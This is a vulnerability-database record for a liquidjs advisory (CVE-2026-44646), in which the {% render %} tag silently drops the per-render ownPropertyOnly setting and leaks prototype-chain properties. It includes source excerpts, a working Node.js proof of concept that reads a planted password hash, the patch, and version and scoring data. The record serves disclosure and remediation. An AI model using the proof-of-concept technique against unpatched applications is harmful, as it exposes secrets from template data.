{"schema":"threatline.record/2","record":{"id":"CVE-2026-44646","aliases":["GHSA-9x9p-qf8f-mvjg"],"summary":"LiquidJS's `{% render %}` tag silently bypasses per-render `ownPropertyOnly:true` via `Context.spawn()`","details":"## Summary\n\n`Context.spawn()` in liquidjs creates a child `Context` for the `{% render %}` tag but does not propagate the parent context's resolved `ownPropertyOnly` value. The new context re-derives `ownPropertyOnly` from `opts.ownPropertyOnly` (the instance-level option), silently discarding any `RenderOptions.ownPropertyOnly` override that was supplied to `parseAndRender()`. As a result, a developer who runs a Liquid instance with the backwards-compatible `ownPropertyOnly:false` and then locks down an untrusted render with `parseAndRender(..., { ownPropertyOnly: true })` still leaks prototype-chain properties from inside any `{% render %}` partial. This is a distinct exploit surface from the previously identified array-filter variants (`where`, `reject`, `group_by`, `find`, `find_index`, `has`) — the underlying root cause in `Context.spawn()` is shared, but `{% render %}` is a separately reachable sink that needs no filter usage.\n\n## Details\n\nThe bug is in `Context.spawn()`:\n\n```ts\n// src/context/context.ts:105-114\npublic spawn (scope = {}) {\n  return new Context(scope, this.opts, {\n    sync: this.sync,\n    globals: this.globals,\n    strictVariables: this.strictVariables\n    // <-- ownPropertyOnly is missing here\n  }, {\n    renderLimit: this.renderLimit,\n    memoryLimit: this.memoryLimit\n  })\n}\n```\n\nThe constructor resolves `ownPropertyOnly` as:\n\n```ts\n// src/context/context.ts:47\nthis.ownPropertyOnly = renderOptions.ownPropertyOnly ?? opts.ownPropertyOnly\n```\n\nBecause `spawn()` passes a `RenderOptions` object with no `ownPropertyOnly`, the child context falls back to `opts.ownPropertyOnly` (the instance-level option), throwing away any per-render override that the parent context had applied. `this.opts` is the raw normalized instance options object; it is not mutated to reflect render-time overrides.\n\nThe `{% render %}` tag at `src/tags/render.ts:51-77` calls `spawn()` to build the partial's isolated scope:\n\n```ts\n* render (ctx: Context, emitter: Emitter): Generator<unknown, void, unknown> {\n  const { liquid, hash } = this\n  const filepath = (yield renderFilePath(this['file'], ctx, liquid)) as string\n  assert(filepath, () => `illegal file path \"${filepath}\"`)\n\n  const childCtx = ctx.spawn()                    // <-- ownPropertyOnly lost here\n  const scope = childCtx.bottom()\n  __assign(scope, yield hash.render(ctx))\n  ...\n  const templates = (yield liquid._parsePartialFile(filepath, childCtx.sync, this['currentFile'])) as Template[]\n  yield liquid.renderer.renderTemplates(templates, childCtx, emitter)\n}\n```\n\nAll template variable lookups inside the partial then go through `childCtx.readProperty()` (`src/context/context.ts:123-135`), which calls `readJSProperty(obj, key, this.ownPropertyOnly)`. With `childCtx.ownPropertyOnly === false` (inherited from `opts`), the protective check at `src/context/context.ts:138-141` is skipped and prototype-chain properties are returned to the template:\n\n```ts\nexport function readJSProperty (obj: Scope, key: PropertyKey, ownPropertyOnly: boolean) {\n  if (ownPropertyOnly && !hasOwnProperty.call(obj, key) && !(obj instanceof Drop)) return undefined\n  return obj[key]\n}\n```\n\nThe `{% include %}` tag is **not** affected: it does not call `spawn()`; it pushes onto the parent context's scope stack (`src/tags/include.ts:40`), so the parent's resolved `ownPropertyOnly` continues to apply.\n\nTrust model / why this matters: `RenderOptions.ownPropertyOnly` is documented (`src/liquid-options.ts:108-111`) as \"Same as `ownPropertyOnly` on LiquidOptions, but only for current `render()` call\". It exists precisely so that developers running a non-strict instance can lock down individual untrusted renders. That contract is broken — the override is silently dropped at every partial boundary.\n\n## PoC\n\n```bash\nmkdir -p /tmp/render-poc\nprintf '{{ user.passwordHash }}' > /tmp/render-poc/_user.liquid\n\nnode -e \"\nconst { Liquid } = require('./dist/liquid.node.js');\nconst liquid = new Liquid({ ownPropertyOnly: false, root: '/tmp/render-poc' });\n\nclass User { constructor(n){ this.name = n; } }\nUser.prototype.passwordHash = 'bcrypt\\$secret';\nconst u = new User('alice');\n\nliquid.parseAndRender(\n  'Direct:[{{ user.passwordHash }}] Render:[{% render \\\"_user.liquid\\\", user: user %}]',\n  { user: u },\n  { ownPropertyOnly: true }\n).then(console.log);\n\"\n```\n\nVerified output on liquidjs 10.25.7:\n\n```\nDirect:[] Render:[bcrypt$secret]\n```\n\nThe top-level expression `{{ user.passwordHash }}` is correctly blocked by the per-render `ownPropertyOnly:true`, but the same expression inside the partial loaded by `{% render %}` returns the prototype-chain property — proof that `Context.spawn()` discarded the override.\n\n## Impact\n\n- **Information disclosure**: Any prototype-chain property of objects passed into a `{% render %}` partial — including secrets, hashes, internal state, framework-injected helpers — becomes readable from inside the partial template, even when the developer used the documented per-render lockdown.\n- **Realistic threat model**: Applications that maintain `ownPropertyOnly:false` for backwards compatibility (or because their data layer relies on prototype methods) and lock down untrusted-template renders with `parseAndRender(..., { ownPropertyOnly:true })` are protected at the top level but silently exposed inside any partial. User-controllable template content (CMS snippets, theme partials, email templates) that uses `{% render %}` becomes an info-leak primitive.\n- **Distinct from existing CVE-2022-25948**: the prior advisory only covered direct use of `ownPropertyOnly:false`; this is a failure of the documented mitigation (`ownPropertyOnly:true` per-render override), not a missing setting.\n- **Distinct from the array-filter variant**: same `spawn()` root cause, but exploitable without invoking `where/reject/group_by/find/find_index/has` — only requires that the template uses `{% render %}` (a basic templating feature) and that one of the rendered values has prototype-chain properties.\n\n## Recommended Fix\n\nPropagate `ownPropertyOnly` (and any other security-relevant render options) inside `Context.spawn()`:\n\n```ts\n// src/context/context.ts\npublic spawn (scope = {}) {\n  return new Context(scope, this.opts, {\n    sync: this.sync,\n    globals: this.globals,\n    strictVariables: this.strictVariables,\n    ownPropertyOnly: this.ownPropertyOnly   // <-- propagate resolved per-render value\n  }, {\n    renderLimit: this.renderLimit,\n    memoryLimit: this.memoryLimit\n  })\n}\n```\n\nPassing `this.ownPropertyOnly` (the resolved value, not `this.opts.ownPropertyOnly`) ensures any `RenderOptions.ownPropertyOnly` override flows into spawned child contexts. This single change closes both the `{% render %}` pathway documented here and the array-filter pathway tracked separately. A regression test should assert that a partial rendered via `{% render %}` honours `parseAndRender(..., { ownPropertyOnly: true })` against an object with prototype-chain properties.","categories":["Libraries & packages"],"product":"liquidjs","vendor":"harttle","ecosystem":"npm","affected_ranges":[{"source":"GitHub Advisory Database","source_url":"https://github.com/advisories/GHSA-9x9p-qf8f-mvjg","source_modified_at":"2026-10-27T15:03:30Z","fetched_at":"2026-10-27T16:27:21.584480Z","package":{"ecosystem":"npm","name":"liquidjs"},"range":"< 10.26.0"},{"source":"CVE List","source_url":"https://www.cve.org/CVERecord?id=CVE-2026-44646","source_modified_at":"2026-06-18T13:53:51.906Z","fetched_at":"2026-10-27T16:27:21.584480Z","product":"liquidjs","vendor":"harttle","versions":[{"version":"< 10.26.0","status":"affected"}],"defaultStatus":null},{"source":"OSV","source_url":"https://osv.dev/vulnerability/GHSA-9x9p-qf8f-mvjg","source_modified_at":"2026-10-27T15:15:07.984943744Z","fetched_at":"2026-10-27T16:27:21.584480Z","package":{"name":"liquidjs","ecosystem":"npm","purl":"pkg:npm/liquidjs"},"ranges":[{"type":"SEMVER","events":[{"introduced":"0"},{"fixed":"10.26.0"}]}],"versions":[]}],"fixed_versions":[{"source":"GitHub Advisory Database","source_url":"https://github.com/advisories/GHSA-9x9p-qf8f-mvjg","source_modified_at":"2026-10-27T15:03:30Z","fetched_at":"2026-10-27T16:27:21.584480Z","package":{"ecosystem":"npm","name":"liquidjs"},"version":"10.26.0"},{"source":"OSV","source_url":"https://osv.dev/vulnerability/GHSA-9x9p-qf8f-mvjg","source_modified_at":"2026-10-27T15:15:07.984943744Z","fetched_at":"2026-10-27T16:27:21.584480Z","package":{"name":"liquidjs","ecosystem":"npm","purl":"pkg:npm/liquidjs"},"version":"10.26.0"}],"cvss":5.3,"severity":"Medium","kev":{"listed":false},"epss":{"probability":0.00334,"percentile":0.26581,"score_date":"2026-10-27"},"published_at":"2026-06-17T22:25:15.319Z","modified_at":"2026-10-27T15:15:07.984943744Z","provenance":[{"source":"GitHub Advisory Database","url":"https://github.com/advisories/GHSA-9x9p-qf8f-mvjg","fetched_at":"2026-10-27T16:27:21.584480Z","source_modified_at":"2026-10-27T15:03:30Z"},{"source":"CVE List","url":"https://www.cve.org/CVERecord?id=CVE-2026-44646","fetched_at":"2026-10-27T16:27:21.584480Z","source_modified_at":"2026-06-18T13:53:51.906Z"},{"source":"OSV","url":"https://osv.dev/vulnerability/GHSA-9x9p-qf8f-mvjg","fetched_at":"2026-10-27T16:27:21.584480Z","source_modified_at":"2026-10-27T15:15:07.984943744Z"},{"source":"EPSS","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-44646","fetched_at":"2026-10-27T16:27:21.584480Z","source_modified_at":"2026-10-27"}],"sources":["GitHub Advisory Database","CVE List","OSV","EPSS"],"references":[{"source":"CVE List","url":"https://github.com/harttle/liquidjs/security/advisories/GHSA-9x9p-qf8f-mvjg","tags":["exploit"]},{"url":"https://nvd.nist.gov/vuln/detail/CVE-2026-44646","source":"GitHub Advisory Database"},{"source":"CVE List","url":"https://github.com/harttle/liquidjs/commit/dbbf6288030591bf6da28d8c1cce5a17bca97bb6","tags":["x_refsource_MISC"]},{"source":"CVE List","url":"https://github.com/harttle/liquidjs/releases/tag/v10.26.0","tags":["x_refsource_MISC"]},{"url":"https://github.com/harttle/liquidjs/blob/v10.26.0/CHANGELOG.md","source":"GitHub Advisory Database"},{"url":"https://github.com/advisories/GHSA-9x9p-qf8f-mvjg","source":"GitHub Advisory Database"}],"locations":[],"motoko_assessment":{"status":"requires_architecture_review","automatic_remediation":false},"cve_state":"PUBLISHED","ssvc":{"exploitation":"poc","automatable":"yes","technical_impact":"partial","assessed_at":"2026-06-18T13:45:29.819664Z"},"classification":{"method":"product-first software-layer rules","rules_version":"2.1","matched_on":"ecosystem","confidence":"heuristic","reviewed":false},"change_timestamp":"2026-10-27T15:15:07.984943744Z","content_hash":"e89b044a5d0fa26a331b6fb060f29e13cca5b390b69e34e6a4405ba7027b9c26"}}
